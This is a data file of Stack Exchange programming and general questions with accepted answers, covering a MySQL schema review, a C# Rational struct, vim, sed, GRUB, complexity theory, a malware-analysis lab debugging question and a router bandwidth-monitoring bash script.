'KY'),(18, 'Louisiana', 'LA'),(19, 'Maine', 'ME'),(20, 'Maryland', 'MD'),(21, 'Massachusetts', 'MA'),(22, 'Michigan', 'MI'),(23, 'Minnesota', 'MN'),(24, 'Mississippi', 'MS'),(25, 'Missouri', 'MO'),(26, 'Montana', 'MT'),(27, 'Nebraska', 'NE'),(28, 'Nevada', 'NV'),(29, 'New Hampshire', 'NH'),(30, 'New Jersey', 'NJ'),(31, 'New Mexico', 'NM'),(32, 'New York', 'NY'),(33, 'North Carolina', 'NC'),(34, 'North Dakota', 'ND'),(35, 'Ohio', 'OH'),(36, 'Oklahoma', 'OK'),(37, 'Oregon', 'OR'),(38, 'Pennsylvania', 'PA'),(39, 'Rhode Island', 'RI'),(40, 'South Carolina', 'SC'),(41, 'South Dakota', 'SD'),(42, 'Tennessee', 'TN'),(43, 'Texas', 'TX'),(44, 'Utah', 'UT'),(45, 'Vermont', 'VT'),(46, 'Virginia', 'VA'),(47, 'Washington', 'WA'),(48, 'West Virginia', 'WV'),(49, 'Wisconsin', 'WI'),(50, 'Wyominng', 'WY');-- ------------------------------------------------------------ Table structure for table `status`--CREATE TABLE `status` ( `status_id` int(11) NOT NULL, `name` varchar(25) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;---- Dumping data for table `status`--INSERT INTO `status` (`status_id`, `name`) VALUES(1, 'Applied'),(2, 'Employed'),(3, 'Disabled'),(4, 'Incarcerated'),(5, 'Deceased'),(6, 'Quit'),(7, 'Terminated'),(8, 'Incompatible');-- ------------------------------------------------------------ Table structure for table `upload`--CREATE TABLE `upload` ( `upload_id` int(11) NOT NULL, `contact_id` int(11) NOT NULL, `user_id` int(11) NOT NULL, `name` varchar(200) NOT NULL, `size` varchar(200) NOT NULL, `type` varchar(200) NOT NULL, `url` varchar(200) NOT NULL, `description` varchar(200) DEFAULT NULL, `upload_date` datetime NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;-- ------------------------------------------------------------ Table structure for table `user`--CREATE TABLE `user` ( `user_id` int(11) NOT NULL, `contact_id` int(11) NOT NULL, `username` varchar(50) NOT NULL, `password` varchar(50) NOT NULL, `last_login` datetime DEFAULT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;---- Indexes for dumped tables------ Indexes for table `address`--ALTER TABLE `address` ADD PRIMARY KEY (`address_id`), ADD KEY `state_id` (`state_id`);---- Indexes for table `contact`--ALTER TABLE `contact` ADD PRIMARY KEY (`contact_id`), ADD KEY `address_id` (`address_id`);---- Indexes for table `driver`--ALTER TABLE `driver` ADD PRIMARY KEY (`driver_id`), ADD KEY `employee_id` (`employee_id`), ADD KEY `driver_type_id` (`driver_type_id`), ADD KEY `rating_id` (`rating_id`);---- Indexes for table `driver_type`--ALTER TABLE `driver_type` ADD PRIMARY KEY (`driver_type_id`);---- Indexes for table `employee`--ALTER TABLE `employee` ADD PRIMARY KEY (`employee_id`), ADD UNIQUE KEY `ix_contact_id` (`contact_id`), ADD KEY `idx_status_id` (`status_id`);---- Indexes for table `incident`--ALTER TABLE `incident` ADD PRIMARY KEY (`incident_id`), ADD KEY `incident_type_id` (`incident_type_id`), ADD KEY `driver_id` (`driver_id`);---- Indexes for table `incident_type`--ALTER TABLE `incident_type` ADD PRIMARY KEY (`incident_type_id`);---- Indexes for table `note`--ALTER TABLE `note` ADD PRIMARY KEY (`note_id`), ADD KEY `contact_id` (`contact_id`);---- Indexes for table `rating`--ALTER TABLE `rating` ADD PRIMARY KEY (`rating_id`);---- Indexes for table `state`--ALTER TABLE `state` ADD PRIMARY KEY (`state_id`);---- Indexes for table `status`--ALTER TABLE `status` ADD PRIMARY KEY (`status_id`);---- Indexes for table `upload`--ALTER TABLE `upload` ADD PRIMARY KEY (`upload_id`), ADD KEY `contact_id` (`contact_id`), ADD KEY `user_id` (`user_id`);---- Indexes for table `user`--ALTER TABLE `user` ADD PRIMARY KEY (`user_id`), ADD UNIQUE KEY `contact_id` (`contact_id`);---- AUTO_INCREMENT for dumped tables------ AUTO_INCREMENT for table `address`--ALTER TABLE `address` MODIFY `address_id` int(11) NOT NULL AUTO_INCREMENT COMMENT 'Primary key for address rows.', AUTO_INCREMENT=22;---- AUTO_INCREMENT for table `contact`--ALTER TABLE `contact` MODIFY `contact_id` int(11) NOT NULL AUTO_INCREMENT COMMENT 'Primary key for contact rows.', AUTO_INCREMENT=23;---- AUTO_INCREMENT for table `driver`--ALTER TABLE `driver` MODIFY `driver_id` int(11) NOT NULL AUTO_INCREMENT;---- AUTO_INCREMENT for table `driver_type`--ALTER TABLE `driver_type` MODIFY `driver_type_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;---- AUTO_INCREMENT for table `employee`--ALTER TABLE `employee` MODIFY `employee_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=16;---- AUTO_INCREMENT for table `incident`--ALTER TABLE `incident` MODIFY `incident_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;---- AUTO_INCREMENT for table `incident_type`--ALTER TABLE `incident_type` MODIFY `incident_type_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7;---- AUTO_INCREMENT for table `note`--ALTER TABLE `note` MODIFY `note_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;---- AUTO_INCREMENT for table `rating`--ALTER TABLE `rating` MODIFY `rating_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;---- AUTO_INCREMENT for table `state`--ALTER TABLE `state` MODIFY `state_id` int(11) NOT NULL AUTO_INCREMENT COMMENT 'Primary key for state table.', AUTO_INCREMENT=51;---- AUTO_INCREMENT for table `status`--ALTER TABLE `status` MODIFY `status_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=9;---- AUTO_INCREMENT for table `upload`--ALTER TABLE `upload` MODIFY `upload_id` int(11) NOT NULL AUTO_INCREMENT;---- AUTO_INCREMENT for table `user`--ALTER TABLE `user` MODIFY `user_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;" , "title": "Database design for a transportation company" , "tags": "sql;mysql;database" , "accepted_answer": "latin1 in this day and age? You probably have a plan to deal with names that aren't in that character set? The whole split between first, middle and last name also might conflict with the real world. (I guess the names argument is a bit overkill, but you could possibly also get away with a single generic name field.)A few tables are really hidden enumerations - you could think about using something on the application level rather than requiring yet another join on every operation (or use MySQL enumerations which are rather unwieldy though). Edit: That's basically the answer to your first question, i.e. I'd probably go with the actual string value if you don't need to associate more information with the enumeration.The user table has the column password. That has to be a password hash (meaning the field will have a lower fixed length) and should consequently be named password_hash or something similar.Lacking the exact requirements I still find the upload table a bit weird - why are size and type of type varchar(200)? Both sound way more restricted in scope and size more like it should be an integer type instead." } { "id": "_codereview.84365" , "question": "I have written a Rational struct for working with rational numbers, i.e. Rational(int numerator, int denominator).A recent post regarding rational numbers peaked my interest. I particular like the answer by @aush with his RationalNumber class. I am inclined to think of a rational number as just that: a number, akin to { int, double, Decimal }. So it screams for struct rather than a class.Note I am neither a student, nor a teacher. Though I write code for a living, I have no business requirements for Rational, which means I have no constraints or restrictions on the struct design. I am only limited by what I can imagine how a rational number should behave. In fact, I have no foreseen practical need for Rational. I just find that going through such mental exercises helps improve my overall skills. namespace System{ public struct Rational : IComparable, IComparable<Rational>, IEquatable<Rational> { public int Numerator { get; private set; } public int Denominator { get; private set; } // These fields bypass Simplify(). public static readonly Rational MinValue = new Rational { Numerator = int.MinValue, Denominator = 1 }; public static readonly Rational MaxValue = new Rational { Numerator = int.MaxValue, Denominator = 1 }; public static readonly Rational Epsilon = new Rational { Numerator = 1, Denominator = int.MaxValue }; public static readonly Rational Undefined = new Rational { Numerator = 0, Denominator = 0 }; public static readonly Rational Zero = new Rational { Numerator = 0, Denominator = 1 }; public static readonly Rational One = new Rational { Numerator = 1, Denominator = 1 }; public static readonly Rational MinusOne = new Rational { Numerator = -1, Denominator = 1 }; public Rational(int numerator, int denominator = 1) : this() { this.Numerator = numerator; this.Denominator = denominator; // There is a special case where Simplify() could throw an exception: // // new Rational(int.MinValue, certainNegativeIntegers) // // In general, having the contructor throw an exception is bad practice. // However given the extremity of this special case and the fact that Rational // is an immutable struct where its inputs are ONLY validated DURING // construction, I allow the exception to be thrown here. Simplify(); } public static bool TryCreate(int numerator, int denominator, out Rational result) { try { result = new Rational(numerator, denominator); return true; } catch { result = Undefined; } return false; } public static bool TryParse(string s, out Rational result) { try { result = Rational.Parse(s); return true; } catch { result = Undefined; } return false; } public static Rational Parse(string s) { // Note that 3 / -4 would return new Rational(-3, 4). var tokens = s.Split(new char[] { '/' }); var numerator = 0; var denominator = 0; switch (tokens.Length) { case 1: numerator = GetInteger(Numerator, tokens[0]); denominator = 1; break; case 2: numerator = GetInteger(Numerator, tokens[0]); denominator = GetInteger(Denominator, tokens[1]); break; default: throw new ArgumentException(string.Format(Invalid input string: '{0}', s)); } return new Rational(numerator, denominator); } // This is only called by Parse. private static int GetInteger(string desc, string s) { if (string.IsNullOrWhiteSpace(s)) { throw new ArgumentNullException(desc); } var result = 0; // TODO: Decide whether it's good idea to convert - 4 to -4. s = s.Replace( , string.Empty); if (!int.TryParse(s, out result)) { throw new ArgumentException(string.Format(Invalid value for {0}: '{1}', desc, s)); } return result; } //TODO: consider other overloads of ToString(). Perhaps one to always display a division symbol. // For example, new Rational(0, 0).ToString() --> 0/0 instead of Undefined, or // new Rational(5).ToString() --> 5/1 instead of 5 public override string ToString() { switch (Denominator) { case 0: return Undefined; case 1: return Numerator.ToString(); } return string.Format({0}/{1}, Numerator, Denominator); } public int CompareTo(object other) { if (other == null) return 1; if (other is Rational) return CompareTo((Rational)other); throw new ArgumentException(Argument must be Rational); } public int CompareTo(Rational other) { if (IsUndefined) { // While IEEE decrees that floating point NaN's are not equal to each other, // I am not under any decree to adhere to that same specification for Rational. return other.IsUndefined ? 0 : -1; } if (other.IsUndefined) return 1; return this.ToDouble().CompareTo(other.ToDouble()); } public bool Equals(Rational other) { if (IsUndefined) return other.IsUndefined; return (this.Numerator == other.Numerator) && (this.Denominator == other.Denominator); } public override bool Equals(object other) { if (other == null) return false; if (other is Rational) return Equals((Rational)other); throw new ArgumentException(Argument must be Rational); } // Mofified code that was stolen from: // http://www.dotnetframework.org/default.aspx/4@0/4@0/DEVDIV_TFS/Dev10/Releases/RTMRel/ndp/clr/src/BCL/System/Double@cs/1305376/Double@cs // The hashcode for a double is the absolute value of the integer representation of that double. [System.Security.SecuritySafeCritical] // auto-generated public unsafe override int GetHashCode() { if (Numerator == 0) { // Ensure that 0 and -0 have the same hash code return 0; } double d = ToDouble(); long value = *(long*)(&d); return unchecked((int)value) ^ ((int)(value >> 32)); } public static bool operator ==(Rational rat1, Rational rat2) { return rat1.Equals(rat2); } public static bool operator !=(Rational rat1, Rational rat2) { return !rat1.Equals(rat2); } public static Rational operator +(Rational rat1, Rational rat2) { if (rat1.IsUndefined || rat2.IsUndefined) { return Undefined; } return new Rational { Numerator = rat1.Numerator * rat2.Denominator + rat1.Denominator * rat2.Numerator, Denominator = rat1.Denominator * rat2.Denominator }.Simplify(); } public static Rational operator -(Rational rat1, Rational rat2) { if (rat1.IsUndefined || rat2.IsUndefined) { return Undefined; } return new Rational { Numerator = rat1.Numerator * rat2.Denominator - rat1.Denominator * rat2.Numerator, Denominator = rat1.Denominator * rat2.Denominator }.Simplify(); } public static Rational operator *(Rational rat1, Rational rat2) { if (rat1.IsUndefined || rat2.IsUndefined) { return Undefined; } return new Rational { Numerator = rat1.Numerator * rat2.Numerator, Denominator = rat1.Denominator * rat2.Denominator }.Simplify(); } public static Rational operator /(Rational rat1, Rational rat2) { if (rat1.IsUndefined || rat2.IsUndefined) { return Undefined; } return new Rational { Numerator = rat1.Numerator * rat2.Denominator, Denominator = rat1.Denominator * rat2.Numerator }.Simplify(); } // The simplified Denominator will always be >= 0 for any Rational. // For a Rational to be negative, the simplified Numerator will be negative. // Thus a Rational(3, -4) would simplify to Rational(-3, 4). private Rational Simplify() { // These corner cases are very quick checks that means slightly longer code. // Yet I feel their explicit handling makes their logic more clear to future maintenance. // More importantly, it bypasses modulus and division when its not absolutely needed. if (IsUndefined) { Numerator = 0; return this; } if (Numerator == 0) { Denominator = 1; return this; } if (IsInteger) { return this; } if (Numerator == Denominator) { Numerator = 1; Denominator = 1; return this; } if (Denominator < 0) { // One special corner case when unsimplified Denominator is < 0 and Numerator equals int.MinValue. if (Numerator == int.MinValue) { return ReduceOrThrow(); } // Simpler and faster than mutiplying by -1 Numerator = -Numerator; Denominator = -Denominator; } // We only perform modulus and division if we absolutely must. Reduce(); return this; } private void Reduce() { var greatestCommonDivisor = GreatestCommonDivisor(Numerator, Denominator); Numerator /= greatestCommonDivisor; Denominator /= greatestCommonDivisor; } // Very special one off case: only called when unsimplified Numerater equals int.MinValue and Denominator is negative. // Some combinations produce a valid Rational, such as Rational(int.MinValue, int.MinValue), equivalent to Rational(1). // Others are not valid, such as Rational(int.MinValue, -1) because the Numerator would need to be (int.MaxValue + 1). private Rational ReduceOrThrow() { try { Reduce(); return this; } catch { throw new ArgumentException(string.Format(Invalid Rational(int.MinValue, {0}), Denominator)); } } public bool IsUndefined { get { return (Denominator == 0); } } public bool IsInteger { get { return (Denominator == 1); } } public double ToDouble() { if (IsUndefined) return double.NaN; return (double)Numerator / (double)Denominator; } // http://en.wikipedia.org/wiki/Euclidean_algorithm private static int GreatestCommonDivisor(int a, int b) { return (b == 0) ? a : GreatestCommonDivisor(b, a % b); } } //end struct} //end namespaceUse of Negatives:The sign of a Rational is determined by the Numerator. Thus a new Rational(3, -4) or Parse(3/-4) would both return Rational(-3, 4). Undefined:There are corner cases where the integer inputs do not return a valid Rational. This would only happen if the Denominator is negative and the Numerator equals int.MinValue. E.g. new Rational(int.MinValue, -2) returns a valid Rational but new Rational(int.MinValue, -1) would not.Convenient Fields and Properties:Like other numbers, Rational has a MinValue and MaxValue. Other convenient fields are Epsilon, Undefined, Zero, One, and MinusOne. Some convenient properties are IsUndefined and IsInteger.Constructor Validation:I imagine the biggest controversy is that I allow the 2 parameter constructor to throw an exception on invalid inputs. Im aware of the argument that this is bad practice. Sure I could replace this constructor with a static Create method, the net effect is the same: anytime you create a new Rational it could possibly throw. So its wrong kill your neighbors but perfectly acceptable to hire someone else to do it?I seriously debated the issue but ultimately decided to let the constructor throw. This keeps the use of Rational similar to other numbers, including Decimal, which also can throw during construction (example: new Decimal(double.NaN)). " , "title": "My Rational struct, version 1" , "tags": "c#;rational numbers" , "accepted_answer": "I like it very much (maybe other reviewers will disagree though).A few things tickle a bit.System namespace is not yoursI wouldn't put anything in the System namespace, whatever the reason is. That namespace belongs to the framework, and as much as your struct looks like it should be part of that framework, it isn't. And the day Microsoft ships a System.Rational, you have a clash.thisThe keyword this is inconsistently being used as a qualifier - sometimes it's there, sometimes it isn't. I'd just remove it, it's perfectly redundant.ToStringThe ToString implementation is switching on a non-enum value, and that switch block doesn't have a default case: public override string ToString() { switch (Denominator) { case 0: return Undefined; case 1: return Numerator.ToString(); } return string.Format({0}/{1}, Numerator, Denominator); }I'd live with the non-enum switch in the name of premature optimisation (does an if block really make a difference?), but move the return string.Format part into it.Double-dipIn several places you're doing this:return new Rational{ Numerator = /*expression*/, Denominator = /*expression*/}.Simplify();That's actually calling the default constructor (a 0/0 / Undefined instance) and accessing the private setters from outside that instance, which is violating the type's immutability and, some would argue, encapsulation. And then Simplify() returns yet another instance.I don't like having public int SomeProperty { get; private set; } auto-properties in an immutable type, exactly for that reason. In my mind, a public property with a private setter should be 100% equivalent to this:private readonly int _numerator;public int Numerator { get { return _numerator; } }But that would blow up your code with the above, because you're accessing the private setter.Why not just do this instead?return new Rational([expression], [expression]);The constructor is calling Simplify anyway!Immutable?Wait a sec... is that struct really immutable?private void Reduce(){ var greatestCommonDivisor = GreatestCommonDivisor(Numerator, Denominator); Numerator /= greatestCommonDivisor; Denominator /= greatestCommonDivisor;}Shouldn't that be private Rational Reduce(), and returning a new instance? You're dealing with a struct here - the two values ought to be considered as a single unit. I'm not sure how much of a violation that is, because the method is private, but it doesn't feel right that a struct internally mutates itself." } { "id": "_vi.11730" , "question": "I have a binding in my .vimrc that reads the contents of the system clipboard to a line immediately below my cursornnoremap <silent> <leader>f <esc> :read ! test -f /usr/bin/xsel && /usr/bin/xsel -ob \\|\\| /usr/bin/pbpaste<cr>I tried to change it to (1)nnoremap <silent> <leader>f <esc> :read ! /usr/bin/xsel -ob \\|\\| /usr/bin/pbpaste<cr>or (2)nnoremap <silent> <leader>f <esc> :read ! /usr/bin/xsel -ob ; /usr/bin/pbpaste<cr>for the sake of simplicity, even though it's more brittle.When I change it to either of those, however, I get the contents of stderr in my buffer as well, as if vim is reading from both stdout and stderr when executing the command. (this is after echo clipboard_contents | pbcopy)./bin/sh: /usr/bin/xsel: No such file or directoryclipboard_contentsWhy is vim doing that? Is there a way to tell it to silently drop stderr in this case or redirect it to /dev/null?" , "title": "read from external command captures stderr as well" , "tags": "external command" , "accepted_answer": "From :h :r!: :r! :read!:[range]r[ead] [++opt] !{cmd} Execute {cmd} and insert its standard output below the cursor or the specified line. A temporary file is used to store the output of the command which is then read into the buffer. 'shellredir' is used to save the output of the command, which can be set to include stderr or not.And in :h 'shellredir':'shellredir' 'srr' string (default >, >& or >%s 2>&1) global {not in Vi} String to be used to put the output of a filter command in a temporary file. ... The default is >. For Unix, if the 'shell' option is csh, tcsh or zsh during initializations, the default becomes >&. If the 'shell' option is sh, ksh or bash the default becomes >%s 2>&1. This means that stderr is also included.So, just do:set shellredir=>" } { "id": "_unix.155698" , "question": "I have to compare Linux and Windows machine hardware?In windows system, I can open the My computer properties and see the details like processors, RAM Hard disks etc.Through task manager, I can see how many processors are there ?In the same way, Linux has commands to do that likecat /proc/meminfocat /proc/cpuinfoHow to check hard disk types and number of processors in my linux machine?" , "title": "Comparing Windows and Linux machine hardware" , "tags": "linux;process;hard disk;cpu;oracle linux" } { "id": "_webmaster.107233" , "question": "I am looking for a way to connect asset download goals early in the buying cycle with signups at the end of the cycle.My website has complex buying cycle that happens over the course of months, for which we have top, mid, and bottom of marketing funnel goals. The top of funnel goals include downloads of white papers and ebooks, whereas the middle and bottom of funnel are downloads of solution assets and sign ups for free trials, demos, etc. I am hoping to find a way to see in Google Analytics see how many mid and bottom of funnel goals were tied to a user conversion on top of funnel resources.Is there a way in Google Analytics to connect multiple goals to a user?" , "title": "Connecting different goal types to see correlations in Google Analytics" , "tags": "google analytics;analytics;conversions;universal analytics;goal tracking" } { "id": "_cogsci.1034" , "question": "QuestionsIs it true that people 'like' those who are similar to them?Why is it so? Is there an evolutionary explanation?" , "title": "Do people like those who are similar to them and why?" , "tags": "social psychology;evolution" , "accepted_answer": "Since you mentioned that you want an evolutionary explanation, there is one available. In biology the effect of providing benefit towards potential non-kin based on an arbitrary marker is known as the green-beard or armpit effect. In a social human setting, if the marker is arbitrary social construct it is usually known as ethnocentrism. This sort of behavior is studied in game theory in the context of cooperate-defect games (typical example: Prisoner's dilemma) and usually called conditional altruism.It has been shown that conditional altruism evolves in a simple spatial agent-based model and promotes cooperative behavior (Hammond & Axelrod, 2006a 2006b). The effect does not create cooperation, but if there is another mechanism for creation of cooperation (say spatial factors in the H&A model) then ethnocentrism helps maintain it and extend the range of parameters under which cooperation can occur (Kaznatcheev & Shultz, 2011). In humans, this ability to cooperate only with others of similar culture is believed to require a significant amount of cognitive ability. In fact, some even suppose that it could have been one of the factors that drove towards the increasing complexity of our brains. Unfortunately, Kaznatcheev (2010a) shows that the ethnocentrism of the sort present in the H&A models is not robust to increase in the cost of cognition. Thus, in humans (or simpler organisms) the mechanism allowing discrimination has to have been in place already (and not co-evolved) or be very inexpensive.The above examples dealt with the prisoner's dilemma (PD) which is a typical model of a competitive environment. In the PD cooperation is irrational, so there conditional altruism allowed the agents to cooperate irrationally (thus moving over to the better social payoff), while still treating those of a different culture rationally and defection from them. This doesn't seem as bad, but Kaznatcheev (2010b) shows that the mechanism of ethnocentrism is robust across different games (not just PD) including ones where cooperation is rational. In those games conditional altruism produces an irrational defection from the out-group. Thus, from an evolutionary stand-point this is a two-edged sword: it can cause unexpected cooperative behavior, but also irrational hostility.ReferencesHammond, R., & Axelrod, R. (2006a). Evolution of contingent altruism when cooperation is expensive. Theoretical Population Biology, 69, 333-338.Hammond, R., & Axelrod, R. (2006b). The evolution of ethnocentrism. Journal of Conflict Resolution, 50, 926-936. (pdf)Kaznatcheev, A. (2010a). The cognitive cost of ethnocentrism. In S. Ohlsson & R. Catrambone (Eds.), Proceedings of the 32nd annual conference of the cognitive science society. (pdf)Kaznatcheev, A. (2010b). Robustness of ethnocentrism to changes in inter-personal interactions. Complex Adaptive Systems - AAAI Fall Symposium. (pdf)Kaznatcheev, A., & Shultz, T.R. (2011). Ethnocentrism Maintains Cooperation, but Keeping One's Children Close Fuels It. In L. Carlson, C, Hoelscher, & T.F. Shipley (Eds), Proceedings of the 33rd annual conference of the cognitive science society. (pdf)" } { "id": "_unix.332259" , "question": "When the GRUB bootloader boots Linux, it pass the name of the root partition (where /sbin/init is) to the kernel through the root= kernel parameter in order for the initrd to be able to mount the real root filesystem later.When we use the grub-install tool, we pass as arguments only the block device where the MBR should be installed and the place where the GRUB image and configuration files should be placed, we do not specify the root partirion with what the kernel will be booted.How exactly GRUB determines the root partition of the system when it's installed? How is that implemented?" , "title": "How GRUB determines the Linux root partition that it pass to the kernel with root=?" , "tags": "boot;partition;root;grub" } { "id": "_unix.387277" , "question": "My first encounters with a CLI (and computers generally), involved booting to a command prompt, usually inserting a disc, and loading a full screen GUI program that was not windowed in what we commonly see today as GUI based OS.It went something like this. Boot >> Prompt>> Load Rocky's Boots >>Launch Rocky's Boots >> Quit >> PromptI've never seen that happen with a Unix / Linux based system, loading directly to a graphical program not in a windowed OS environment - only ascii based programs like Space Invaders, or VIM. Does the ability exist to do the aforementioned DOS-like loading of 8-bit graphical programs (I stress, not windowed in OSX or Unity or whatever)? If not, why is it different? " , "title": "Can a Unix (Linux) System Launch a GUI from CLI Like (Apple/Microsoft) DOS?" , "tags": "linux;terminal;graphics" } { "id": "_softwareengineering.234482" , "question": "I have a RESTful API, built in NODE.js that does what you would expect it to: consumes data and then makes it accessible. Currently, data being submitted to my server is nested form data:data[0][username]=...data[0][email]=...data[0][phone]=......data[12][username]=...data[12][email]=...data[12][phone]=...or as a query stringdata[0][username]=...&data[0][email]=...&data[0][phone]=...SO when I parse it on the server, I get a JS array of objects with those particular fields. What I am wondering is, is it safe for me accept a string that I can JSON.parse and the process it?data=(some stringified json object)I am unsure if it's possible for malicious code or anything to be included in the JSON object that would blow up my server once run through a parserThanks." , "title": "Is parsing a submitted JSON object safe?" , "tags": "javascript;node.js;json;code security;malicious code" } { "id": "_unix.174609" , "question": "I am trying to replace multiple words in file by using sed -i #expression1 #expression2fileSomething 123 item1Something 456 item2Something 768 item3Something 353 item4Output (Desired)anything 123 stuff1anything 456 stuff2anything 768 stuff3anything 353 stuff4Try-outsI can get the following output by using sed -i for 2 times. sed -i 's/Some/any/g' file sed -i 's/item/stuff/g' fileCan I have any possible way of making this as single in-place command like sed -i 's/Some/any/g' -i 's/item/stuff/g' fileWhen I tried above code it takes s/item/stuff/g as a file and try working on it.." , "title": "sed with multiple expression for in-place arguement" , "tags": "shell;shell script;text processing;sed" , "accepted_answer": "Depending on the version of sed on your system you may be able to dosed -i 's/Some/any/; s/item/stuff/' fileYou don't need the g after the final slash in the s command here, since you're only doing one replacement per line.Alternatively:sed -i -e 's/Some/any/' -e 's/item/stuff/' fileThe -i option tells sed to edit files in place; if there are characters immediately after the -i then sed makes a backup of the original file and uses those characters as the backup file's extension. Eg,sed -i.bak 's/Some/any/; s/item/stuff/' fileorsed -i'.bak' 's/Some/any/; s/item/stuff/' filewill modify file, saving the original to file.bak.Of course, on a Unix (or Unix-like) system, we normally use '~' rather than '.bak', sosed -i~ 's/Some/any/;s/item/stuff/' file" } { "id": "_cs.6718" , "question": "I try to understand if someone can apply a NTM to recognize coNP language.From the definition we know that:NP - set of languages that can be recognized by NTM in polynomial time.coNP - set of all languages that are complement to NP language.as with P versus NP question, we have NP versus coNP question.Unfortunately, is not defined explicitly if can one recognize coNP language with NTM.However, if we take a look at few examples from the set of coNP languages, few questions emerge.TAUTOLOGY = {$\\varphi$:$\\varphi$ is satisfied by every assingment}$\\bar{SAT}$ = {$\\varphi$: $\\varphi$ is not satisfiable }These languages are known to be coNP language and intuitively it seems like one can construct NTM to recognize these languages. On the other hand, if one can construct NTM to recognize them why them not in NP class (by definition)? Maybe not all language of coNP can be solved by NTM just few of them, if yes, we will have intersection of NP class and coNP class. And if every language from coNP class cannot be solved by NTM, does it mean that limitation of NTM is located in coNP class. Is NTM is limited at all?I am a little bit confused, I will appreciate if someone will shed the light on this topic." , "title": "coNP and limitation of NDTM" , "tags": "complexity theory;np complete;complexity classes" } { "id": "_reverseengineering.15127" , "question": "I am working on Lab13-01.exe from Practical Malware Analysis (you can download it from here).When I run it without debuggers in my VMWare it runs without errors.I started to analyze it with OllyDbg 2.01.There is some point in the code that it receives exception and I don't understand why.It has resource that contains encoded string: LLLKIZXORXZWVZWLZI^ZUZWBHRHXTVThis resource is saved at address 0x408060At 0x4011C1 it overwrites the first byte of the string with AL (0x77):MOV BYTE PTR DS:[ECX], ALThen I received:Access violation when writing to [00408060]When I press Shift+Run/Step, it succeed to run.There number of things I don't understand here.If it can't write to [00408060], how come when I press Shift+Run/Step it succeed ?Why it can't write to [00408060] ? Is there some flag that prevent from writing to this aread (if yes, where can I see it?) ? " , "title": "Why the program can't write to specific memory area" , "tags": "ollydbg;exception" } { "id": "_softwareengineering.196407" , "question": "I'm a bit confused if saving the information to session code below, belongs in the controller action as shown below or should it be part of my Model? I would add that I have other controller methods that will read this session value later. public ActionResult AddFriend(FriendsContext viewModel) { if (!ModelState.IsValid) { return View(viewModel); } // Start - Confused if the code block below belongs in Controller? Friend friend = new Friend(); friend.FirstName = viewModel.FirstName; friend.LastName = viewModel.LastName; friend.Email = viewModel.UserEmail; httpContext.Session[latest-friend] = friend; // End Confusion return RedirectToAction(Home); }I thought about adding a static utility class in my Model which does something like below, but it just seems stupid to add 2 lines of code in another file.public static void SaveLatestFriend(Friend friend, HttpContextBase httpContext){ httpContext.Session[latest-friend] = friend;}public static Friend GetLatestFriend(HttpContextBase httpContext){ return httpContext.Session[latest-friend] as Friend;}" , "title": "MVC : Does Code to save data in cache or session belongs in controller?" , "tags": "mvc;asp.net mvc;asp.net mvc 3;asp.net mvc 4" } { "id": "_cs.14788" , "question": "I'm searching for a reference of an undecidability proof that is as simple as possible and starts from scratch.With from scratch I mean that it does not use some other undecidable problem to prove some undecidability (which is the usual case), I cannot wrap my mind about how proving undecidability that way (without a previous proof) could be possible.This question may be inspiring: An example of an easy to understand undecidable problemAlso, I know this is probably not very objective, but it is important to me, it should be something as simple as possible, hopefully enough so that even I can understand it." , "title": "Reference for an undecidability proof" , "tags": "reference request;proof techniques;undecidability;decision problem" } { "id": "_unix.331019" , "question": "i use this bash script to monitor my bandwidth usage :#!/bin/sh#Get __RequestVerificationTokencc=`curl -s -X GET http://192.168.8.1/api/webserver/SesTokInfo`c=`echo $cc| grep SessionID=| cut -b 10-147`t=`echo $cc| grep TokInfo| cut -b 10-41`while true; do#Exucate Commandmx=$(curl http://192.168.8.1/api/monitoring/traffic-statistics 2>/dev/null \\ -H Cookie: $c -H __RequestVerificationToken: $t -H Content-Type: application/x-www-form-urlencoded; charset=UTF-8 \\ 2>&1 | grep '</CurrentDownload>' #convert byte to megabytete=$(( $mx / 1048576 ))time=$(date)# show Usageecho $te M.B#compare usage from below list if [ $te -ge 1000 ] && [ $te -le 5000 ] || [ $te -ge 8000 ] && [ $te -le 10000 ] || [ $te -ge 11000 ] && [ $te -le 15000 ] || [ $te -ge 17000 ]thenecho Plz Low your Data Usage !!else echo Under Bandwidth Limit .. $timefisleep 20it`s work well at first but during running it gives my error:arithmetic expression: expecting primary: / 1048576 on line that converting byte to megabyte& i try execute it using sh test.sh & bash test.sh Same Error !!output of : sudo sh -x ./test.sh+ curl -s -X GET http://192.168.8.1/api/webserver/SesTokInfo+ cc=<?xml version=1.0 encoding=UTF-8?><response><SesInfo>SessionID=5Id983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cC lFxFuFgEzZf8h5ACq7cMgCZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS</SesInfo><TokInfo>92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I</TokInfo></response>+ + + grepechocut SessionID= <?xml version=1.0 encoding=UTF-8?><response><SesInfo>SessionID=5Id983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cC lFxFuFgEzZf8h5ACq7cMgCZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS</SesInfo><TokInfo>92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I</TokInfo></response> -b 10-147+ c=SessionID=5Id983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFu FgEzZf8h5ACq7cMgCZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS+ + + grepcut TokInfo -b 10-41echo <?xml version=1.0 